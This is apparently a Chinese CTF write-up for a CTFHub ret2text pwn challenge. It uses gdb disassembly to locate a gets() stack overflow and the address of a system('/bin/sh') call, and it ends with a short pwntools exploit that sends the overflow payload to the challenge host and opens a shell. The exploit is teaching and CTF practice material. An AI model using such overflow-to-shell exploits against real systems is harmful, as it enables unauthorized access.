点击此处 获得更好的阅读体验
本WP来自szsecurity
原创投稿
题目考点
gdb 的基本使用
对函数调用栈的理解
pwntools 工具的基本用法
解题过程
由于笔者也是 pwn 新手,所以本文会尽可能详细的介绍整个原理。
配置好基本环境
先了解文件基本信息
下载题目附件,是一个zip压缩包,解压后查看基本信息:
1 2 giantbranch@ubuntu:~/Desktop$ file ./pwn ./pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9dc32140f0e317f9e6a59b9a226a5123e34ace21, not stripped
确认是一个64位的elf文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 giantbranch@ubuntu:~/Desktop$ gdb GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu" . Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" . pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase , $ida gdb functions (can be used with print /break ) gdb-peda$ checksec ./pwn CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
所有安全措施 CANARY/FORTIFY/NX/PIE 都关闭了,说明该题不需要复杂的绕过操作。接下来,把文件丢到IDA中,先看看 main 函数的源代码:
只是简单的输入和输出,并没看到跟 flag 相关的信息。继续看,发现还有个 secure
函数
函数中调用了 system('/bin/sh')
所以猜测获取 flag 是通过执行 system
获得 shell,然后再执行命令。
思路梳理-1
从 IDA 中可以看出,pwn 程序只有这两个用户函数,其他的都是库函数。因此答案就在这两个函数中。停下来想想我们已知的内容:
栈帧结构复习
看过《0day安全:软件漏洞分析技术(第二版)》
第二章的同学对函数调用栈应该还有印象,这里复习一下。
下面这段代码:
在执行的时候,栈帧结构如图所示:
将参数带入,再进一步细看:
可以看到,main 函数调用 func_A 时,栈帧发生了以下变化:
将下一条语句的地址,也就是返回地址,压栈。
将main自己的ebp压栈
再将 func_A 的局部变量压栈
对应到本题,可以猜测 main 函数的栈帧应该是这样的:
思路梳理-2
局部变量 s 是用户可以通过 gets() 输入的,只要达到特定的长度 L,就能覆盖掉黄色的返回地址
。
让返回地址
,也就是 EIP
指向 system('/bin/sh')
所在语句对应的内存地址就能获得shell
对此,需要获取两个关键值:
要填充的数据长度L: 要覆盖掉 EBP
system('/bin/sh') 调用语句的内存地址
通过动态调试,就能获取到以上数据。具体步骤如下:
第一步:利用反汇编,查看变量的位置,为 [rbp-0x70]。由于是64位系统,要覆盖掉ebp,就要+8字节。因此 L = 0x70 + 8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 gdb-peda$ file ./pwn Reading symbols from ./pwn...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004007c7 <+0>: push rbp 0x00000000004007c8 <+1>: mov rbp,rsp 0x00000000004007cb <+4>: sub rsp,0x70 0x00000000004007cf <+8>: mov rax,QWORD PTR [rip+0x20089a] # 0x601070 <stdout@@GLIBC_2.2.5> 0x00000000004007d6 <+15>: mov ecx,0x0 0x00000000004007db <+20>: mov edx,0x2 0x00000000004007e0 <+25>: mov esi,0x0 0x00000000004007e5 <+30>: mov rdi,rax 0x00000000004007e8 <+33>: call 0x400660 <setvbuf@plt> 0x00000000004007ed <+38>: mov rax,QWORD PTR [rip+0x20088c] # 0x601080 <stdin@@GLIBC_2.2.5> 0x00000000004007f4 <+45>: mov ecx,0x0 0x00000000004007f9 <+50>: mov edx,0x1 0x00000000004007fe <+55>: mov esi,0x0 0x0000000000400803 <+60>: mov rdi,rax 0x0000000000400806 <+63>: call 0x400660 <setvbuf@plt> 0x000000000040080b <+68>: lea rdi,[rip+0xc6] # 0x4008d8 0x0000000000400812 <+75>: call 0x400610 <puts@plt> 0x0000000000400817 <+80>: lea rax,[rbp-0x70] 0x000000000040081b <+84>: mov rdi,rax 0x000000000040081e <+87>: mov eax,0x0 0x0000000000400823 <+92>: call 0x400650 <gets@plt> 0x0000000000400828 <+97>: lea rdi,[rip+0xd4] # 0x400903 0x000000000040082f <+104>: call 0x400610 <puts@plt> 0x0000000000400834 <+109>: mov eax,0x0 0x0000000000400839 <+114>: leave 0x000000000040083a <+115>: ret End of assembler dump.
第二步:还是用反汇编,获取到system函数的地址。由于要完整调用,所以取lea指令的位置:0x00000000004007b8
,也就是0x4007b8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 gdb-peda$ disassemble secure Dump of assembler code for function secure: 0x0000000000400777 <+0>: push rbp 0x0000000000400778 <+1>: mov rbp,rsp 0x000000000040077b <+4>: sub rsp,0x10 0x000000000040077f <+8>: mov edi,0x0 0x0000000000400784 <+13>: call 0x400640 <time@plt> 0x0000000000400789 <+18>: mov edi,eax 0x000000000040078b <+20>: call 0x400630 <srand@plt> 0x0000000000400790 <+25>: call 0x400680 <rand@plt> 0x0000000000400795 <+30>: mov DWORD PTR [rbp-0x4],eax 0x0000000000400798 <+33>: lea rax,[rbp-0x8] 0x000000000040079c <+37>: mov rsi,rax 0x000000000040079f <+40>: lea rdi,[rip+0x122] # 0x4008c8 0x00000000004007a6 <+47>: mov eax,0x0 0x00000000004007ab <+52>: call 0x400670 <__isoc99_scanf@plt> 0x00000000004007b0 <+57>: mov eax,DWORD PTR [rbp-0x8] 0x00000000004007b3 <+60>: cmp DWORD PTR [rbp-0x4],eax 0x00000000004007b6 <+63>: jne 0x4007c4 <secure+77> 0x00000000004007b8 <+65>: lea rdi,[rip+0x10c] # 0x4008cb 0x00000000004007bf <+72>: call 0x400620 <system@plt> 0x00000000004007c4 <+77>: nop 0x00000000004007c5 <+78>: leave 0x00000000004007c6 <+79>: ret End of assembler dump.
编写 exp
得到两个关键值之后,就可以写出利用代码了。
1 2 3 4 5 6 7 8 from pwn import *host = 'challenge-6d9543332f6f24b5.sandbox.ctfhub.com' port = 33698 p = connect(host, port) payload = 'A' * 0x78 + p64(0x4007b8 ) p.sendline(payload) p.interactive()
获取flag
写在最后
在学习 ret2text 时,经过一番网络搜索,先后看了近10篇writeup,发现很多都是抄 ctf wiki 里面的例子,不仅没有过程,也说不清楚原理。
最后终于找到了一篇靠谱的文章,链接在此
通过源代码、编译、逆向,一步步进行介绍,这种方式更容易从本质上掌握知识点。后续个人 pwn 的学习也将采取这种方式。以上,希望对大家有帮助。